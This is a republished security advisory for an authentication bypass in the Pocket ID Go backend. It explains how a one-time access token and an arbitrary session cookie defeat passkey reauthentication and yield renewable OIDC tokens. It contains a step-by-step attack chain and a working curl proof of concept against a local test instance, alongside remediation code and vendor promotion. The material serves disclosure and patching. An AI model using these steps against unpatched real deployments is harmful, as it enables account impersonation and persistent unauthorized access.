GHSA-HP74-GM6M-2QM5

GHSA-HP74-GM6M-2QM5 is a medium-severity improper authentication vulnerability in github.com/pocket-id/pocket-id/backend (go), affecting versions < 0.0.0-20260419162744-978ac87deffe. It is fixed in 0.0.0-20260419162744-978ac87deffe.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Pocket ID has a reauthentication bypass via one-time access token login, passkey step-up requirement defeated by JWT freshness check that accepts any login method

Reauthentication Bypass via One-Time Access Token Login

A weaker authentication method (OTA token or signup token) is accepted as passkey step-up proof, yielding unauthorized renewable 30-day OIDC refresh tokens for clients explicitly configured with RequiresReauthentication: true. The POST /api/webauthn/reauthenticate endpoint's access-token fallback checks only JWT freshness (IssuedAt within 60 seconds), not the authentication method used. The session cookie gate is also non-validating -- any arbitrary cookie value (e.g. session=deadbeef) is accepted, collapsing the reauth boundary to token recency alone.

The bypass needs to succeed only once. The resulting OIDC grant includes a 30-day refresh token that can be rotated indefinitely, providing persistent victim-impersonation access to the protected downstream service. The attacker obtains access_token (1-hour TTL), id_token (victim's name, email, profile), and refresh_token (30-day TTL, renewable) for a client that was explicitly configured to require passkey step-up authentication. The attacker can perform victim-scoped actions at the downstream relying party indefinitely.

Root Cause

CreateReauthenticationTokenWithAccessToken (webauthn_service.go:362-403) only checks that the access token's IssuedAt claim is less than 60 seconds old:

// webauthn_service.go:378-381
tokenExpiration, ok := token.IssuedAt()
if !ok || time.Since(tokenExpiration) > time.Minute {
    return "", &common.ReauthenticationRequiredError{}
}

It does not check HOW the user originally authenticated. The reauthenticateHandler (webauthn_controller.go:179-207) falls into this path whenever the request body cannot be parsed as a WebAuthn credential assertion:

// webauthn_controller.go:189-199
credentialAssertionData, err := protocol.ParseCredentialRequestResponseBody(c.Request.Body)
if err == nil {
    token, err = wc.webAuthnService.CreateReauthenticationTokenWithWebauthn(...)
} else {
    // FALLBACK: Only checks access token age, not auth method
    accessToken, _ := c.Cookie(cookie.AccessTokenCookieName)
    token, err = wc.webAuthnService.CreateReauthenticationTokenWithAccessToken(c.Request.Context(), accessToken)
}

Additionally, the handler's session cookie check (line 180) only verifies that a cookie named session exists -- it does not validate the cookie value against any server-side session store. Any arbitrary value (e.g. session=deadbeef) satisfies the check:

// webauthn_controller.go:180-184
sessionID, err := c.Cookie(cookie.SessionIdCookieName)
if err != nil {
    _ = c.Error(&common.MissingSessionIdError{})
    return
}
// sessionID is passed to CreateReauthenticationTokenWithWebauthn but NOT
// to CreateReauthenticationTokenWithAccessToken (the fallback path)

In the fallback path, the sessionID variable is never used. The session cookie is a gate check only -- presence, not validity. This means the reauth boundary is not bound to a real authenticated browser session.

Meanwhile, GenerateAccessToken (jwt_service.go:190-195) always sets IssuedAt(now) regardless of how authentication was performed:

// jwt_service.go:191-195
now := time.Now()
token, err := jwt.NewBuilder().
    Subject(user.ID).
    Expiration(now.Add(...)).
    IssuedAt(now).  // Always "now", regardless of auth method

This function is called by:

  1. WebAuthn login (intended passkey path)
  2. One-time access token exchange (one_time_access_service.go:200)
  3. User signup (user_signup_controller.go:182)

All three produce tokens that bypass the reauthentication freshness check.

Attack Chain

Precondition: An OIDC client has RequiresReauthentication: true. The attacker has obtained a one-time access token (via email compromise, admin-issued token, or if unauthenticated OTP emails are enabled).

  1. Exchange OTA for fresh JWT: POST /api/one-time-access-token/{token} returns a fresh access token with IssuedAt = now.

  2. Set any session cookie: The handler checks for cookie existence only. Set session=deadbeef (or any arbitrary value). No need to call /api/webauthn/login/start.

  3. Bypass reauthentication: POST /api/webauthn/reauthenticate with empty body {} and the fake session cookie. WebAuthn parsing fails, falls to the access-token freshness check. Since the token was just issued, the check passes. The session cookie value is not validated in this path. A reauthentication token is returned without any passkey interaction.

  4. Authorize sensitive client: POST /api/oidc/authorize with the reauthentication token and the target client's ID. The authorization code is issued.

  5. Get OIDC tokens: POST /api/oidc/token exchanges the authorization code for access_token, id_token, and refresh_token.

All steps complete in under 2 seconds (60-second window is trivial for scripts).

Proof of Concept (Verified Live)

Tested against Pocket ID HEAD (626adbf) running in Docker with e2etest build.

# Seed test database
curl -s -X POST http://localhost:1411/api/test/reset?skip-ldap=true

# Exchange OTA for admin user (seeded token: HPe6k6uiDRRVuAQV)
curl -s -c cookies.txt -X POST http://localhost:1411/api/one-time-access-token/HPe6k6uiDRRVuAQV
# Returns 200 with user info, sets access_token cookie with IssuedAt=now

# Bypass reauthentication - empty body triggers access token fallback
# Session cookie can be ANY arbitrary value - handler only checks existence
curl -s -b cookies.txt -b "session=deadbeef" -X POST http://localhost:1411/api/webauthn/reauthenticate \
  -H "Content-Type: application/json" -d '{}'
# Returns: {"reauthenticationToken":"al9JkF9kVI0V3UsAqMJIIF73N4ogHial"}
# NO passkey interaction! Fake session cookie accepted!

# Authorize sensitive OIDC client (after enabling RequiresReauthentication)
curl -s -b cookies.txt -X POST http://localhost:1411/api/oidc/authorize \
  -H "Content-Type: application/json" \
  -d '{"clientID":"3654a746-...","scope":"openid profile email",
       "callbackURL":"http://nextcloud/auth/callback",
       "reauthenticationToken":"MUslJS8ALHDtSIiXGadS3yNiqTrA33q7"}'
# Returns: {"code":"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3","callbackURL":"..."}
# OIDC authorization code issued without passkey!

# Exchange for full OIDC token set
curl -s -X POST http://localhost:1411/api/oidc/token \
  -d "grant_type=authorization_code&code=J31Zkp...&client_id=3654a746-..."
# Returns: access_token, id_token, refresh_token

Live output from the test run:

[A3] Bypass reauthentication (empty body -> access token fallback)...
Reauth token (no passkey used): MUslJS8ALHDtSIiXGadS3yNiqTrA33q7
[A4] Authorize Nextcloud (requiresReauthentication=true)...
Authorize response: {"code":"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3","callbackURL":"http://nextcloud/auth/callback","issuer":"http://localhost:1411"}
[A5] Exchange authorization code for OIDC tokens...
Token response keys: ['access_token', 'token_type', 'id_token', 'refresh_token', 'expires_in']
=== FULL CHAIN COMPLETE ===

Self-Review

  • Is this by-design? No. The 60-second freshness window was designed for UX after passkey login (avoid immediate re-prompt). But it accepts any fresh token, not just passkey-authenticated ones. The RequiresReauthentication feature clearly intends to enforce passkey interaction.
  • Are there upstream bounds? No. The only check is IssuedAt freshness. All login methods produce equivalent tokens.
  • Honest weaknesses: Requires obtaining a one-time access token (email interception or admin-issued). The 60-second window is tight for manual exploitation but trivial for scripts. Impact is limited to OIDC client authorization. The non-validating session cookie weakens the boundary but does not change the fundamental precondition (needing a fresh JWT).
  • Existing reports: No prior reports for this issue. CVE-2026-28512 and CVE-2026-28513 are unrelated.
  • Prior art: No competing reports found on GitHub issues, security advisories, or huntr.

Koda Reef

Impact

The RequiresReauthentication feature on OIDC clients is designed to enforce step-up authentication via passkeys for sensitive downstream services. This bypass completely defeats that protection and yields persistent access:

  • Unauthorized victim-scoped downstream access: The attacker receives a valid OIDC grant (access_token, id_token, refresh_token) for a client the admin explicitly protected with passkey reauthentication. The attacker can impersonate the victim at the downstream relying party and perform victim-scoped actions (read data, modify settings, access protected resources) -- this is not just information disclosure but active impersonation.
  • Persistent access via refresh token: The bypass needs to succeed only once (within 60 seconds of OTA exchange). The 30-day refresh token can be rotated indefinitely. Tested and confirmed: after 65 seconds (past the reauth window), the refresh token still produces new access tokens and userinfo access.
  • Collapsed security boundary: The passkey reauthentication requirement degenerates to two non-security-relevant checks: (1) JWT IssuedAt recency (satisfied by any login method) and (2) session cookie existence (satisfied by any arbitrary cookie value). Neither check verifies that a passkey ceremony occurred.
  • Email compromise escalation: An attacker who gains access to a user's email can trigger and intercept a one-time access token, then authorize any OIDC client including those the admin explicitly protected with passkey reauthentication.
  • Downstream service exposure: OIDC clients protected by reauthentication typically guard sensitive services (admin panels, CI/CD, infrastructure access). The bypass grants full OIDC tokens including access_token (1h TTL), id_token (with victim's name, email, profile), and refresh_token (30-day TTL, renewable).

Scope: The bypass affects OIDC client authorization (the sole consumer of reauthentication tokens). Other sensitive operations (WebAuthn credential management, user profile changes, admin operations) do not use reauthentication tokens.

Escalation vectors investigated and ruled out:

  • Non-admin privilege escalation: tested live, non-admin users get 403 on admin endpoints (OIDC client modification, OTA creation for other users). No middleware confusion.
  • IDOR in OTA minting: all OTA creation endpoints properly enforce admin auth or are self-service only. No cross-user forgery.
  • OTA replay: OTA tokens are properly single-use (deleted from DB on exchange).

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

Affected versions

github.com/pocket-id/pocket-id/backend (< 0.0.0-20260419162744-978ac87deffe)

Security releases

github.com/pocket-id/pocket-id/backend → 0.0.0-20260419162744-978ac87deffe (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

The access-token fallback in CreateReauthenticationTokenWithAccessToken should verify that the session was established via a strong authentication method (passkey/WebAuthn), not just that the access token is fresh.

Option 1 (simplest): Remove the access-token fallback entirely. Always require a WebAuthn ceremony for reauthentication.

Option 2: Add an auth_method claim to the access token when generated via passkey login. The reauthentication fallback should only succeed for tokens with auth_method: "webauthn".

// In GenerateAccessToken, add auth method context
func (s *JwtService) GenerateAccessToken(user model.User, authMethod string) (string, error) {
    // ... existing code ...
    // Add auth_method claim
}

// In CreateReauthenticationTokenWithAccessToken, check auth method
func (s *WebAuthnService) CreateReauthenticationTokenWithAccessToken(...) (string, error) {
    // ... existing verification ...
    authMethod, _ := token.Get("auth_method")
    if authMethod != "webauthn" {
        return "", &common.ReauthenticationRequiredError{}
    }
    // ... rest of function ...
}

Frequently Asked Questions

  1. What is GHSA-HP74-GM6M-2QM5? GHSA-HP74-GM6M-2QM5 is a medium-severity improper authentication vulnerability in github.com/pocket-id/pocket-id/backend (go), affecting versions < 0.0.0-20260419162744-978ac87deffe. It is fixed in 0.0.0-20260419162744-978ac87deffe. The application does not adequately verify the identity of a user, device, or process before granting access.
  2. Which versions of github.com/pocket-id/pocket-id/backend are affected by GHSA-HP74-GM6M-2QM5? github.com/pocket-id/pocket-id/backend (go) versions < 0.0.0-20260419162744-978ac87deffe is affected.
  3. Is there a fix for GHSA-HP74-GM6M-2QM5? Yes. GHSA-HP74-GM6M-2QM5 is fixed in 0.0.0-20260419162744-978ac87deffe. Upgrade to this version or later.
  4. Is GHSA-HP74-GM6M-2QM5 exploitable, and should I be worried? Whether GHSA-HP74-GM6M-2QM5 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether GHSA-HP74-GM6M-2QM5 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix GHSA-HP74-GM6M-2QM5? Upgrade github.com/pocket-id/pocket-id/backend to 0.0.0-20260419162744-978ac87deffe or later.

Other vulnerabilities in github.com/pocket-id/pocket-id/backend

Stop the waste.
Protect your environment with Kodem.